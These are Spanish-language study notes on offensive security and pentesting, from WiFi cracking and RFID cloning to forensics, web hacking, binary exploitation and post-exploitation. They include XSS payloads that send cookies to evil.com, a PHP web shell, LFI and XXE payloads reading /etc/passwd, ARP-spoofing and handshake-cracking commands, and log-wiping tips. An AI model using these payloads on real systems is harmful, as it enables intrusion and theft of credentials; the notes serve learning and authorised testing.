Apuntes de ciberseguridad

Compendio de apuntes sobre ciberseguridad

1. Anotaciones Útiles

Esta sección contiene una lista mixta de herramientas, comandos útiles, plataformas de entrenamiento y consejos varios.

1.1 Herramientas y Recursos Útiles para Ciberseguridad

Aquí se recopilan herramientas, comandos y plataformas que resultan fundamentales en la práctica del hacking ético, análisis forense y pruebas de penetración (pentesting). Muchas de ellas son utilizadas frecuentemente en CTFs y escenarios reales.

comando 2> /dev/null: 
Redirige los mensajes de error a /dev/null, ocultándolos.

python3 -m http.server 8080: 
Inicia un servidor web simple en el puerto 8080.

php -S 127.0.0.1:8080: 
Levanta un servidor PHP local para pruebas.

xfreerdp /u:USUARIO /p:CLAVE /v:IP /dynamic-resolution: 
Conéctate por RDP desde Kali Linux.

echo 1 > /proc/sys/net/ipv4/ip_forward: 
Habilita el reenvío de paquetes (útil para ataques MITM).

1.2 Redes y Proxy

  • FoxyProxy: Extensión para gestionar proxies fácilmente en Firefox.
  • VPNs útiles: Freedom VPN, Opera VPN, Ultrasurf (proxy).
  • Dns spoofing y bypass de portales cautivos: herramientas como Iodine o dns2tcp permiten túneles DNS.
  • Imagenes Cisco para GNS3 – Repo 1

1.3 Phishing e Ingeniería Social

1.4 Análisis de Seguridad

  • Logstalgia: Visualización en tiempo real de logs de accesos.
  • Foremost: Recupera archivos desde capturas .pcap, imágenes de disco, etc.
  • searchsploit: Consulta local de exploits disponibles en Exploit-DB.
  • searchsploit -x <PATH>: Ver código asociado.
  • searchsploit -m <PATH>: Copiar exploit al directorio actual.
  • RouterSploit: Explotación de dispositivos embebidos (routers, IoT).
  • PacketWhisper: Exfiltración de datos mediante DNS.
  • Updog: Alternativa moderna al SimpleHTTPServer, permite subir archivos también.
  • Olevba: Analiza documentos de Office para detectar macros maliciosas.
  • Oledump: Extrae y analiza contenido oculto en documentos de Office.
  • Forensically: Análisis forense de imágenes.

1.5 Plataformas de Entrenamiento

  • Metasploitable: Máquina virtual vulnerable para prácticas de explotación.
  • Plataforma Atenea: CTFs del CCN-CERT (España).
  • CTFTime: Plataforma para seguir CTFs globales, ver write-ups y rankings de equipos.

1.6 Conceptos Clave

  • CIA Triad (Confidentiality, Integrity, Availability): Pilar de la seguridad informática.
  • No repudio: Garantía de que una transacción no puede ser negada por ninguna de las partes.
  • Spoofing: Técnica para suplantar identidad o información de red.
  • Acortadores con tracking (balizas): Redirecciones maliciosas pueden revelar tu IP o ubicación. Usa desacortadores como CheckShortURL.

1.7 Extra: Sniffing con ARP Poisoning

Para interceptar paquetes en redes con switches (man-in-the-middle):

# Activar redirección de paquetes en Linux
echo 1 > /proc/sys/net/ipv4/ip_forward

# Lanzar ARP spoofing entre dos víctimas
arpspoof -i eth0 -t 192.168.1.100 -r 192.168.1.1

2. Identificación de Frecuencias de Radio (Tarjetas NFC/RFID)

El uso de tecnologías de comunicación por proximidad, como RFID y NFC, está ampliamente extendido en tarjetas de acceso, pagos sin contacto, identificación de personal y dispositivos IoT.

Estas tecnologías operan principalmente en dos rangos:

  • 125 kHz (RFID de baja frecuencia – LF)
  • 13.56 MHz (NFC o RFID de alta frecuencia – HF)

Con el equipamiento y software adecuado, es posible:

  • Leer, clonar o emular tarjetas.
  • Realizar pruebas de fuerza bruta.
  • Analizar protocolos de comunicación.

2.1 Lectura de tarjetas NFC desde Android

Una app ampliamente usada para experimentar con tarjetas de pago:

EMV NFC Paycard Reader (Android): Permite leer tarjetas bancarias NFC compatibles desde un dispositivo Android con chip NFC.

⚠️ Advertencia ética: No uses estas herramientas con tarjetas reales sin consentimiento. Estas pruebas deben realizarse solo en entornos controlados o con tarjetas laboratorio.

2.2 Hardware Recomendado (Proxmark3)

Dispositivo especializado para lectura, análisis y clonación de tarjetas RFID/NFC.

  • Soporta LF (125 kHz) y HF (13.56 MHz) mediante dos antenas dedicadas.
  • Modos:
    • Standalone: Opera sin conexión a un PC (modo autónomo).
    • Modo conectado: Control total vía consola.
  • Firmwares disponibles:
    • Oficial: Para usos generales.
    • Iceman: Firmware más avanzado, permite ataques como:
      • Fuerza bruta sobre tarjetas sin clave.
      • Emulación y clonación más precisa.
  • Para flashear el firmware:
    1. Conecta el dispositivo.
    2. Identifica el puerto COM asignado.
    3. Edita el script .bat con el puerto correcto.
    4. Ejecuta el script correspondiente (firmware flash, bootloader, recovery…).

Existen versiones de bajo costo como Proxmark3 Easy, aunque tienen limitaciones físicas frente a los modelos RDV4.

2.3 Casos de Uso

  • Clonación de tarjetas de acceso físico.
  • Análisis de sistemas de transporte (tarjetas Mifare).
  • Pentesting de sistemas de control de acceso en edificios.
  • Análisis de seguridad en pagos sin contacto (EMV).

2.4 Ejemplo de flujo de trabajo con Proxmark3

# Conectar en consola
proxmark3 /dev/ttyACM0

# Comprobar tarjeta HF (13.56 MHz)
hf search

# Comprobar tarjeta LF (125 kHz)
lf search

# Clonar un tag Mifare Classic a una tarjeta virgen (T5577 o similar)
hf mf dump
hf mf restore --file dump.mfd

Nota: Algunos chips Mifare tienen sectores protegidos. Se puede intentar acceso usando ataques tipo DarkSide o Nested

2.5 Recursos adicionales

3. Seguridad en Redes WiFi

Las redes WiFi son un objetivo frecuente en entornos de pentesting debido a su exposición constante y a que muchos dispositivos se conectan a ellas sin medidas de seguridad adecuadas.

3.1 Conceptos Fundamentales

  • Beacon Frames: Son tramas de señalización enviadas por los Access Points (AP) para anunciar su presencia. Los dispositivos móviles las detectan y pueden intentar reconectarse automáticamente.
  • Modo Monitor (Promiscuo): Permite a una tarjeta de red capturar todos los paquetes inalámbricos, incluso aquellos que no van dirigidos a ella.
  • Gemelo malicioso (Evil Twin): Consiste en replicar una red WiFi legítima para engañar a los usuarios y capturar tráfico o credenciales.

3.2 Tipos de Ataques

3.2.1 Ataques sobre el canal de comunicación
  • Jamming (Inhibición de señal): Saturación deliberada del canal WiFi para impedir la comunicación. Se puede hacer de forma:
    • Reactiva.
    • Aleatoria.
    • Continua.
  • Deautenticación (Deauth Attack):
    • Desconecta a los usuarios de la red para forzar la reconexión y capturar el handshake.
    • No es jamming, pero tiene efectos similares.
3.2.2 Redes Públicas y Portales Cautivos
  • Redes abiertas: Pueden estar bajo control de atacantes.
  • Portales cautivos:
    • Usados en hoteles y cafeterías.
    • Se pueden evitar con spoofing de MAC o túneles DNS (iodine, dns2tcp).

3.3 Vulnerabilidades por tipo de cifrado

  • WEP (ChopChop, Fragmentation, Caffe Latte):
    • Ataques sobre el ICV (Integrity Check Value).
    • Posibilidad de reconstruir la clave con paquetes ARP.
  • WPS (Pixie Dust Attack):
    • Permite romper PINs de 8 dígitos por fuerza bruta.
  • WPA/WPA2:
  • Handshake Attack: Captura del 4-way handshake.
  • PMKID Attack: Ataque sin necesidad de que el cliente esté conectado.

Flujo resumido del ataque WPA/PMKID con Bettercap + hcxtools:

# Activar modo monitor
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

# Escaneo
bettercap -iface wlan0
wifi.recon on
wifi.recon.channel 6
wifi.deauth <MAC_AP>
wifi.assoc all

Luego puedes capturar el PMKID y crackearlo con hashcat:

hashcat -m 16800 -a 3 pmkid.hccapx rockyou.txt

3.4 Suplantación y Phishing

  • Evil Twin + DNS spoofing:
    • Herramientas: hostapd, dnsmasq, wifiphisher.
  • Captura de 2FA:
    • Phishing avanzado que solicita el código del segundo factor junto con las credenciales.

3.5 Herramientas de Auditoría WiFi

HerramientaDescripción
BettercapFramework avanzado para análisis y ataques en red. Soporta WiFi, BLE, y más.
WiresharkAnalizador de protocolos, ideal para visualizar y filtrar paquetes.
hcxdumptoolCaptura de handshakes y PMKIDs.
hcxpcaptoolConvierte capturas a formato compatible con hashcat.
cap2hccapxConversor de formato de captura para WPA.
HashcatCracking por fuerza bruta de claves WPA, PMKID y hashes varios.
KismetSniffer de redes, ideal para wardriving.
Aircrack-ngConjunto completo para análisis, captura y ataque de redes WiFi.
AirgeddonFramework que automatiza ataques a WiFi (handshakes, Evil Twin, DoS).
EaphammerAtaques a redes WPA2-Enterprise (Evil Twin + credenciales).
WigleBase de datos global de redes WiFi recolectadas por wardrivers.
WifiphisherFramework de ingeniería social sobre WiFi.
Wifite2Automatiza ataques conocidos sobre redes vulnerables.

Ejemplo práctico: Captura de handshake y crackeo:

# Capturar el handshake con airodump-ng
airodump-ng wlan0mon --bssid <MAC_AP> --channel 6 -w capture

# Lanzar ataque de deauth
aireplay-ng -0 10 -a <MAC_AP> wlan0mon

# Crackear con hashcat
hashcat -m 2500 capture.hccapx rockyou.txt

4. Hacking por Radiofrecuencia (SDR – Software Defined Radio)

La radio definida por software (SDR) es una tecnología que permite implementar funciones clásicas de hardware de la capa física (modulación, demodulación, mezcla, filtrado, etc.) directamente en software, usando hardware genérico como un receptor USB.

Esta técnica permite analizar, interceptar, decodificar y manipular señales de radio en un amplio espectro, útil tanto en seguridad ofensiva como defensiva.

¿Qué es SDR?

SDR permite sintonizar señales en frecuencias específicas, procesarlas digitalmente y extraer información como datos meteorológicos, paquetes de sensores IoT, control remoto de automóviles, aviones, comunicaciones de emergencia, entre otros.

Puede cubrir bandas AM, FM, GSM, ADS-B, WiFi, y más.

Herramientas SDR son utilizadas tanto para monitoreo pasivo como para ataques activos en protocolos inalámbricos no cifrados.

4.1 Principios Técnicos

Fases del procesamiento SDR:

  1. Muestreo: Conversión de una señal analógica a digital (ADC).
  2. Cuantificación: Representación de la amplitud en niveles digitales.
  3. Codificación: Empaquetamiento de los datos para su análisis posterior.

Tipos de bandas frecuentes:

BandaFrecuenciaAplicación
LF (baja)125 kHzRFID
HF (alta)3 – 30 MHzOnda corta
VHF30 – 300 MHzRadios FM, TV
UHF300 MHz – 3 GHzWiFi, GPS, celulares

4.2 Herramientas y Software para SDR

HerramientaDescripción
Virtual Audio Cable / snd-aloopRedirecciona el audio decodificado como fuente virtual.
CW SkimmerAnaliza señales en código Morse y las decodifica.
rtl_433Decodifica sensores de 433.92 MHz (temperatura, humedad, electricidad…).
minimodemEmula y decodifica señales de modem. Soporta AFSK, FSK, etc.
pyModeSDecodificador de señales ADS-B (aviación), usado para rastrear vuelos.
GQRXInterfaz gráfica SDR basada en GNU Radio.
SDR++Alternativa moderna, multiplataforma y liviana para GQRX.

4.3 Hardware SDR

DispositivoCaracterísticas
RTL-SDR v3El más accesible. Recibe señales de 500 kHz a 1.7 GHz.
HackRF OneSDR full-duplex: transmite y recibe. De 1 MHz a 6 GHz.
BladeRF / LimeSDRDispositivos profesionales para transmisión compleja.
Flipper ZeroMultiuso. Soporta radiofrecuencia, IR, iButton, NFC y más. Tiene modo “sub-1 GHz” para señales de controles remotos.

Ejemplo práctico: Captura de señal de sensor inalámbrico:

# Usando RTL-SDR para escuchar dispositivos a 433 MHz
rtl_433 -f 433920000 -g 45 -s 250000

# Resultado esperado
temperature: 23.7 °C
humidity: 65 %
battery: OK

4.4 Casos de uso en ciberseguridad

  • Captura y análisis de señales de control remoto.
  • Reversing de sensores IoT (alarma, temperatura, cámaras).
  • Sniffing de transmisiones ADS-B y decodificación de tráfico aéreo.
  • Ataques a sistemas de control sin cifrado (ej. puertas de garage, autos).
  • Estudio de espectro electromagnético en áreas sensibles.

4.5 Recursos complementarios

5. Criptología (Criptografía + Esteganografía)

Esta es una de las secciones más densas y relevantes del documento. Vamos a dividirla en dos subpartes:

  • Criptografía → Teoría, tipos, herramientas, diccionarios y reglas.
  • Esteganografía → Técnica, artística, herramientas y análisis.

5.1 Criptografía

Es el estudio y práctica de técnicas para proteger la información mediante su codificación, de forma que solo personas autorizadas puedan acceder a ella. Su objetivo es garantizar:

  • Confidencialidad
  • Integridad
  • Autenticación
  • No repudio
5.1.1 Tipos de Criptografía
TipoDescripciónEjemplo
ClásicaSistemas antiguos de cifrado.César, Vigenère, Enigma.
Moderna (Simétrica)Una sola clave para cifrar y descifrar.AES, DES, Blowfish.
Moderna (Asimétrica)Usa un par de claves: pública y privada.RSA, ECC, ElGamal.

Simétrica – Por bloques y por flujo

  • Por bloques: Agrupa los datos en bloques (e.g. AES-128).
  • Por flujo: Bit a bit, útil en streaming (e.g. RC4).
5.1.2 Herramientas para Criptografía y Cracking
HerramientaDescripción
hashcatCracker por fuerza bruta. Soporta múltiples algoritmos.
John the RipperCracking de contraseñas. Soporta mutaciones, diccionarios y reglas.
HydraFuerza bruta contra protocolos: SSH, FTP, HTTP, etc.
hashid / hashidentifierDetectan el tipo de hash.
colabcatEjecuta hashcat en Google Colab para acelerar el cracking.
filemyhashBusca coincidencias en bases de datos online.
CyberChef“Navaja suiza” para codificar, decodificar, transformar y analizar datos.
dcode.frExcelente para cifrados clásicos, XOR, base64, ROT13 y más.
OpenSSLUtilidad CLI para cifrar, descifrar, firmar, generar claves, etc.
5.1.3 Diccionarios para Cracking

Directorios estándar en Kali:

/usr/share/wordlists/
/usr/share/dirb/
/usr/share/ncrack/

Diccionarios recomendados:

5.1.4 Reglas para mejorar ataques

Las reglas aumentan la eficacia de los ataques por diccionario aplicando mutaciones inteligentes (e.g. cambiar «p@ssword» por «P4$$w0rd»).

  • Reglas recomendadas:

Combinando diccionarios + reglas se aumenta significativamente la tasa de éxito en CTFs o pentests reales.

5.1.5 Ejemplo: Crackeo de hash con hashcat
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r rules/best64.rule

  • -m 0: Hash MD5.
  • -a 0: Ataque por diccionario.
  • -r: Aplica reglas al diccionario.

5.2 Esteganografía (Técnica y Artística)

¿Qué es la Esteganografía?

La esteganografía es el arte y ciencia de ocultar información dentro de otro objeto o medio de forma que pase desapercibida. A diferencia de la criptografía, que protege el contenido, la esteganografía protege la existencia del mensaje

Esteganografía Técnica

Oculta datos en estructuras binarias de archivos como imágenes, audio o documentos. Suele requerir análisis forense especializado para ser detectada.

5.2.1 Conceptos Clave
  • Archivos políglotas: Archivos que son válidos para más de un tipo de lector (ej. JPG y ZIP a la vez).
  • Entropía: Medida del desorden de un archivo. La alta entropía puede indicar datos cifrados o embebidos.
  • EoF (End of File): Técnica que inserta datos al final de un archivo sin corromper su estructura.
5.2.2 Técnicas Comunes
TécnicaDescripción
LSB (Least Significant Bit)Modifica el bit menos significativo de cada píxel en imágenes. Ideal para ocultar datos sin alterar visualmente la imagen.
EoFInserta datos al final de un archivo, útil en imágenes o documentos.
MetadatosCampos EXIF o atributos ocultos en documentos.
ZIP en imagenUn archivo .jpg puede tener un .zip oculto en su interior: unzip archivo.jpg.
5.2.3 Herramientas para Esteganografía Técnica
HerramientaDescripción
SteghideUna de las más usadas. Cifra y oculta archivos en imágenes o audio.
OutguessSimilar a Steghide, menos detectable por fingerprinting.
OpenStegoGUI para ocultar archivos o insertar marcas de agua.
StegSolvePermite inspeccionar capas y colores de imágenes (ideal para CTF).
StegoVeritasAutomatiza análisis forense de imágenes.
ZstegAnaliza imágenes PNG y BMP en busca de patrones LSB.
BinwalkExtrae datos embebidos en binarios e imágenes.
ExiftoolExtrae y modifica metadatos.
xxd / ghexAnálisis hexadecimal básico.
DeepSoundOculta datos en audio (WAV).
Stegano (Python)Librería para esconder texto en imágenes usando LSB.
5.2.4 Ejemplo práctico con Steghide
# Ocultar un archivo
steghide embed -cf imagen.jpg -ef secreto.txt -p clave123

# Extraer el archivo
steghide extract -sf imagen.jpg -p clave123

Consejo: muchas de estas herramientas permiten usar contraseña opcionalmente. Sin clave, también se pueden atacar con diccionarios (stegcracker).

5.2.5 Stegoanálisis

Ciencia que detecta y recupera información oculta. Puede ser manual o automatizada. Herramientas como StegDetect, StegSecret, Binwalk, stegoveritas, zsteg ayudan a analizar imágenes sospechosas.

5.2.6 Esteganografía Artística

Usa recursos visuales, sonoros o de videojuegos para ocultar datos, generalmente de forma creativa o no tradicional.

5.2.7 Imagen Digital
  • Técnicas comunes:
    • LSB.
    • Paleta de colores.
    • Transformada wavelet o DCT.
  • Herramientas:
    • GIMP, Photoshop, StegOnline, StegSuite, StegHide.
  • Detección:
    • Análisis de histogramas.
    • Análisis estadístico.
    • Reconocimiento por IA.
5.2.8 Videojuegos
  • Casos reales:
    • Uso de partidas, mapas o movimientos para transmitir mensajes.
    • ChessSteganography: codifica datos en movimientos de ajedrez.
    • Mipui.net + Hammer Editor (mapas personalizados).
  • Contramedidas:
    • Análisis de patrones, duración, puntuaciones o comportamiento anómalo.
5.2.9 Audio Digital
  • Técnicas:
    • LSB en cuadros.
    • EoF.
    • Manipulación de metadatos.
  • Herramientas:
    • MSU Stego Video, StegoStick, OpenPuff.
5.2.10 Lecturas recomendadas
  • Criptored – UPM
  • Esteganografía y Estegoanálisis – Alfonso Muñoz
  • StegoSploit (esteganografía activa en exploits)
  • Imagen Docker: stego-toolkit con herramientas como check_jpg.sh, check_png.sh, zsteg, binwalk, steghide, foremost, entre otras.

6. Análisis Forense Digital

El análisis forense digital consiste en adquirir, preservar, analizar y presentar datos digitales de manera que sean válidos legalmente. Las herramientas que veremos permiten examinar capturas de memoria RAM y discos duros en busca de evidencia digital.

6.1 Análisis de Memoria RAM

¿Por qué analizar la RAM?

La memoria RAM contiene datos volátiles de alto valor como:

  • Procesos activos.
  • Contraseñas en texto plano.
  • Historial de comandos.
  • Sesiones de red activas.
  • Malwares en ejecución.
6.1.1 Herramienta principal: Volatility

Framework forense en Python para analizar dumps de memoria RAM.

# Detectar sistema operativo de la imagen
volatility -f memoria.dmp imageinfo

# Ver árbol de procesos
volatility -f memoria.dmp --profile=Win7SP1x64 pstree

# Explorar conexiones de red
volatility -f memoria.dmp --profile=Win7SP1x64 netscan

# Extraer historial de comandos en cmd.exe
volatility -f memoria.dmp --profile=Win7SP1x64 cmdscan

# Extraer proceso completo por PID
volatility -f memoria.dmp --profile=Win7SP1x64 memdump -p 1234 -D ./dump/

6.1.2 Análisis del proceso lsass.exe

Este proceso almacena credenciales de Windows. Puede contener contraseñas o hashes en memoria

# Extraer hashes NTLM/LM con Volatility
volatility -f memoria.dmp --profile=Win7SP1x64 hashdump

Usa CrackStation o hashcat para intentar descifrar los hashes.

6.1.3 Extra: Extracción de cadenas de texto
# Extraer strings legibles (UTF-8)
strings -td -a memoria.dmp > salida.txt

# Extraer en UTF-16 (Windows)
strings -td -el -a memoria.dmp > salida_utf16.txt

6.2 Análisis de Imágenes de Disco

¿Qué buscamos?

  • Evidencias eliminadas.
  • Restos de navegación (historial, favicons).
  • Archivos cifrados o contenedores.
  • Mensajería, correo, bases de datos de gestores de contraseñas.
6.2.1 Herramienta principal: FTK Imager

Aplicación forense gratuita para montar imágenes de disco en modo lectura.

Uso básico

  1. Abrir FTK → File > Add Evidence Item > Image File.
  2. Navegar dentro de la estructura sin modificarla.
  3. Exportar carpetas o archivos sospechosos.
6.2.2 Casos prácticos de análisis

Recuperación de historial en TOR

TOR no guarda historial, pero sí favicons.sqlite con URLs visitadas y sus íconos.

# Ruta típica
/TOR/Data/Browser/profile.default/favicons.sqlite

Se puede abrir con DB Browser for SQLite.

Recuperar correos electrónicos eliminados

Thunderbird guarda correos por defecto en:

AppData/Roaming/Thunderbird/Profiles/.../Mail/LocalFolders/Inbox

Aún si están eliminados visualmente, pueden recuperarse como archivos .mbox.

Recuperar contraseñas de KeePass

  • Localiza el archivo .kdbx (e.g. passwords.kdbx).
  • Extrae hash con keepass2john.py.
  • Crackea con hashcat:
hashcat -m 13400 -a 0 hashes.txt rockyou.txt --force

6.3 Herramientas adicionales

HerramientaFunción
AutopsyFramework completo para análisis de imágenes y evidencias.
Bulk ExtractorExtrae patrones de interés (emails, URLs, etc.).
TestDisk / PhotoRecRecuperación de archivos eliminados.
foremostExtrae archivos basándose en firmas. Muy útil en .pcap o .dd.
sqlitebrowserRevisión de bases de datos .sqlite.

7. Hacking Web — Herramientas, Técnicas y Ataques

Esta sección cubre desde la manipulación básica del navegador hasta vulnerabilidades web críticas como XSS, SQLi, RCE y SSRF. También se detallan herramientas clave para realizar pruebas de seguridad web.

7.1 Herramientas para Pentesting Web

HerramientaUso principal
Consola del navegador (F12)Análisis de red, ejecución de funciones JS, depuración de código.
curlInteractuar con servidores desde CLI (ideal para pruebas de cabeceras).
Burp SuiteInterceptar, modificar y automatizar peticiones HTTP.
OWASP ZAPEscáner de vulnerabilidades web gratuito.
NiktoEscáner de vulnerabilidades web en servidores HTTP.
GobusterFuzzing de rutas, archivos y directorios web.
DirBusterDescubrimiento de rutas y archivos ocultos.
CeWLGenerador de diccionarios a partir de contenido web.
WfuzzFuzzing avanzado sobre parámetros web.
FeroxbusterFuzzing rápido, incluye búsqueda de backups.
EyeWitnessToma capturas de sitios web automáticamente.

7.2 Comandos útiles con curl

# Cambiar tipo de petición
curl -X POST http://site.com/login

# Editar cabecera "User-Agent"
curl -H "User-Agent: Kali" http://target.com

# Mostrar verbosidad
curl -v http://target.com

7.3 Principales Ataques Web

XSS (Cross-Site Scripting)

Permite inyectar código JavaScript malicioso.

Ejemplo clásico:

<script>new Image().src="http://evil.com/"+document.cookie;</script>

Ejemplo con AJAX:

<script>
let r = new XMLHttpRequest();
r.open("GET", "http://evil.com?c=" + document.cookie, true);
r.send();
</script>

Escucha con netcat:

while true; do nc -lnvp 80; done

7.4 LFI/RFI (Inclusión de Archivos Locales o Remotos)

  • LFI: Se accede a archivos internos (/etc/passwd).
  • RFI: Se incluye código remoto, útil para ejecutar webshells.

Ejemplo con PHP:

page=../../../../../etc/passwd

Evadir ejecución:

php://filter/convert.base64-encode/resource=index.php

7.5 SSRF (Server-Side Request Forgery)

Fuerza al servidor a hacer peticiones HTTP arbitrarias.

Payload típico:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

Sitios como localtest.me apuntan a 127.0.0.1 y ayudan a saltarse filtros.

7.6 SQL Injection

Permite manipular consultas a bases de datos.

Herramienta: sqlmap

# Ataque automatizado
sqlmap -u "http://target.com?id=1" --batch --dbs

# Usar POST desde archivo
sqlmap -r post_request.txt --dump-all

sqlmap –tamper=space2comment -u URL

sqlmap --tamper=space2comment -u URL

7.7 RCE (Remote Code Execution)

Permite ejecutar comandos en el servidor.

Payload WebShell:

<?php echo shell_exec($_GET['cmd']); ?>

Navega a: http://target.com/shell.php?cmd=ls

7.8 XXE (XML External Entity)

Similar a SSRF pero basado en XML maliciosos.

Payload:

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

7.9 Web Shells

7.10 Fuzzing y Enumeración

  • Buscar .git expuesto → Usa GitTools
  • Buscar backups: index.php~, config.bak, database.sql, etc.
  • Pruebas de login con Hydra, Wfuzz, Burp Suite.

7.11 Recursos adicionales

8. Ingeniería Inversa y Explotación de Binarios

Esta sección cubre el análisis, descompilación, depuración y explotación de programas en binario. Su aplicación es clave en el análisis de malware, reversing de software propietario y explotación de vulnerabilidades en binarios locales o remotos.

¿Qué es la ingeniería inversa?

Proceso de desensamblar o descompilar software y/o hardware para entender su funcionamiento interno, sin tener acceso a las fuentes originales.

8.1 Tipos de herramientas utilizadas

TipoFunciónEjemplos
DescompiladoresPasan de binario a lenguaje de alto nivel (C, C#)Ghidra, IDA Pro, ILSpy
DesensambladoresMuestran el ensamblador originalobjdump, Radare2
Depuradores (Debuggers)Permiten ejecutar paso a paso el binario, ver registros, memoria, etc.GDB, Immunity Debugger, WinDbg
Empaquetadores/DetectorsDetectan u ofuscan binariosUPX, PEiD, CFF Explorer

8.2 Herramientas Clave:

8.2.1 GDB (GNU Debugger)
# Iniciar GDB con binario
gdb binario

# Opcional: mostrar sintaxis Intel
(gdb) set disassembly-flavor intel

# Desensamblar función
(gdb) disassemble main

# Colocar breakpoint
(gdb) break *main

# Ejecutar
(gdb) run

# Ver registros
(gdb) info registers

# Ir paso a paso
(gdb) ni

# Modificar un registro
(gdb) set $eax=0

Recomendado: instalar el plugin PEDA para mejor interfaz en GDB.

8.2.2 Ghidra
  • Potente suite de ingeniería inversa creada por la NSA.
  • Permite descompilar a código C legible, explorar flujos de control y modificar instrucciones.
8.2.3 Radare2

Depurador y desensamblador CLI extremadamente completo. También tiene modo gráfico (r2 -qg).

r2 -d ./binario    # Modo depuración
aa                  # Analiza funciones
afl                 # Lista funciones
pdf @ main          # Desensambla main
VV                  # Modo visual con gráfico de flujo

8.2.4 Otros útiles
HerramientaDescripción
ILSpyDescompilador para binarios .NET
CFF ExplorerEditor de archivos PE
Resource HackerExtrae íconos, recursos, strings de ejecutables
strace / ltraceMuestran llamadas al sistema o a librerías
UPXComprime binarios ejecutables
pwntools (Python)Framework para scripting de exploits
objdumpCLI para ver info de binarios
dmesgÚtil para detectar errores por desbordamientos
PESecurityVerifica protecciones activadas en binarios de Windows

8.3 Ejemplo: Creación de shellcode con Pwntools

from pwn import *

context.binary = './vulnerable'
context.update(arch='i386', os='linux')

payload = asm(shellcraft.sh())
print(payload)

8.4 Explotación de Binarios

  • Buffer overflows
  • Format string vulnerabilities
  • Return Oriented Programming (ROP)
  • Stack smashing

Requiere entender protecciones como:

ProtecciónDescripción
NX (No eXecute)Previene ejecución en la pila.
ASLRCambia direcciones de memoria aleatoriamente.
Stack CanariesDetectan corrupción de stack antes del ret.
RELRO / PIEReforzamiento de tablas GOT/PLT.

Puedes usar checksec o pwntools para revisar estas protecciones.

checksec --file=./binario

8.5 Técnicas comunes

TécnicaUso
Overwrite del EIPControl de flujo del programa
NOP SledAsegura llegada a shellcode
Ret2libcRedirigir ejecución a funciones existentes como system()
ROP chainsConstrucción de gadgets a partir de libc o el binario

9. Metodología de Hacking (Pentest)

Esta sección detalla el enfoque profesional para realizar pruebas de penetración (pentesting), siguiendo buenas prácticas y etapas claras. La metodología recomendada es OSSTMM, y también se aplica el marco de PTES o el ciclo de vida de un Red Team.

Ciclo de Vida de un Pentest

Se divide típicamente en 4 fases:

  • Reconocimiento (OSINT)
  • Escaneo y enumeración
  • Explotación y escalado de privilegios
  • Persistencia, limpieza y reporte

9.1 Reconocimiento (OSINT – Inteligencia de fuentes abiertas)

Objetivo: Recolectar toda la información pública posible sobre el objetivo antes de interactuar directamente con él.

Herramientas y técnicas:

HerramientaUso
whois, host, nslookupInformación de dominios y DNS
ShodanBúsqueda de dispositivos conectados
Hunter.ioEmails asociados a dominios
Scylla.shLeaks de contraseñas
haveibeenpwnedVerificación de leaks
MailfyDetecta redes sociales asociadas a correos
h8mailBusca leaks por email
TheHarvesterRecolecta emails, dominios, subdominios
robots.txtVerifica rutas prohibidas al indexado
NexfilOSINT por nombre o usuario
SherlockBúsqueda de usuarios en redes sociales
FOCAExtrae metadatos de documentos online
Wayback MachineAccede a versiones antiguas de sitios web
google dorksEjemplo: inurl:admin site:empresa.com

9.2 Escaneo y Enumeración

Objetivo: Identificar hosts, servicios activos, puertos abiertos y posibles vulnerabilidades.

Herramientas y técnicas:

HerramientaFunción
nmapEscaneo de red. Soporta scripts NSE.
RustScan / Threader3000Escaneo rápido de puertos
wpscanAuditoría de sitios WordPress
enum4linux / smbclientRecolección en entornos Windows/Samba
NiktoEscaneo de vulnerabilidades web
showmountDetectar shares NFS
gobuster / feroxbusterFuzzing de directorios
whatwebFingerprinting de sitios web
NetcraftIdentifica cambios en hospedaje e historial
egresscheck-frameworkComprobación de puertos de salida
BloodHound + SharpHoundEnumeración avanzada en Active Directory
MBSAEscaneo de vulnerabilidades (obsoleto pero útil en Win antiguos)

Con nmap --script vuln puedes usar scripts predefinidos para detectar vulnerabilidades.

Ejemplo de escaneo clásico con Nmap:

nmap -sC -sV -oA scan_basico 192.168.1.1

# -sC: Scripts NSE por defecto
# -sV: Detección de versiones
# -oA: Exporta en 3 formatos

9.3 Explotación y Escalado de Privilegios

Objetivo: Acceder a sistemas vulnerables y escalar privilegios hasta obtener control completo.

HerramientaUso
MetasploitFramework de explotación
searchsploitBuscar exploits en Exploit-DB
GTFOBinsEscalada de privilegios en Linux
winPEAS / linPEASEscaneo local de vulnerabilidades
PowerUp / PowerView (PowerSploit)Escalada en Windows
ResponderCaptura de credenciales por LLMNR/NBT-NS
HoaxshellReverse shell indetectable
pspyMonitorización de procesos sin root
sudo -lVer comandos permitidos (Linux)
getcap -r / 2>/dev/nullArchivos con capabilities activas

Técnicas frecuentes:

  • Abuso de permisos SUID, SGID.
  • Cracking de contraseñas locales (shadow file, SAM).
  • Shells maliciosas (reverse_tcp, bind_tcp).
  • Pivoting con socat, ssh -D, proxychains.
  • Uso de herramientas como Nishang, Empire, Veil para ofuscación y post-explotación.

9.4 Persistencia, Limpieza y Reporte

Objetivo: Mantener acceso sin ser detectado, eliminar huellas y documentar todo lo realizado.

AcciónHerramientas
PersistenciaCronjobs, WMI events, usuarios ocultos
Limpiezahistory -c, borrar logs, manipulación de timestomps
ReportePDF/HTML estructurado, capturas, timeline

9.5 Extras

Túneles SSH dinámicos:

ssh -q -N -D 127.0.0.1:9050 user@host

Uso de proxychains:

proxychains nmap -sT -Pn target

Uso de herramientas C2 (Command & Control):

10. PowerShell y Post-Explotación en Windows

PowerShell es una poderosa herramienta nativa de administración en Windows, pero también es ampliamente utilizada por pentesters y atacantes para post-explotación, movimiento lateral, recolección de credenciales y evasión de antivirus.

10.1 Fundamentos de PowerShell

PowerShell permite acceso directo a:

  • Registros del sistema.
  • Servicios, procesos y drivers.
  • Red y adaptadores.
  • Usuarios, ACLs y permisos.
  • WMI y COM para scripting avanzado.

10.2 Comandos Básicos Útiles

Get-LocalUser                  # Lista usuarios locales
Get-Process                    # Lista procesos activos
Get-Service                    # Servicios instalados
Get-WmiObject win32_logicaldisk  # Información de discos
ipconfig /all                  # Ver configuración de red
Get-NetTCPConnection           # Conexiones activas
Get-Command                    # Lista comandos disponibles
Get-Help                       # Documentación de comandos

10.3 Recolección de Información (Post-Explotación)

AcciónComando
Usuarios conectadosquery user
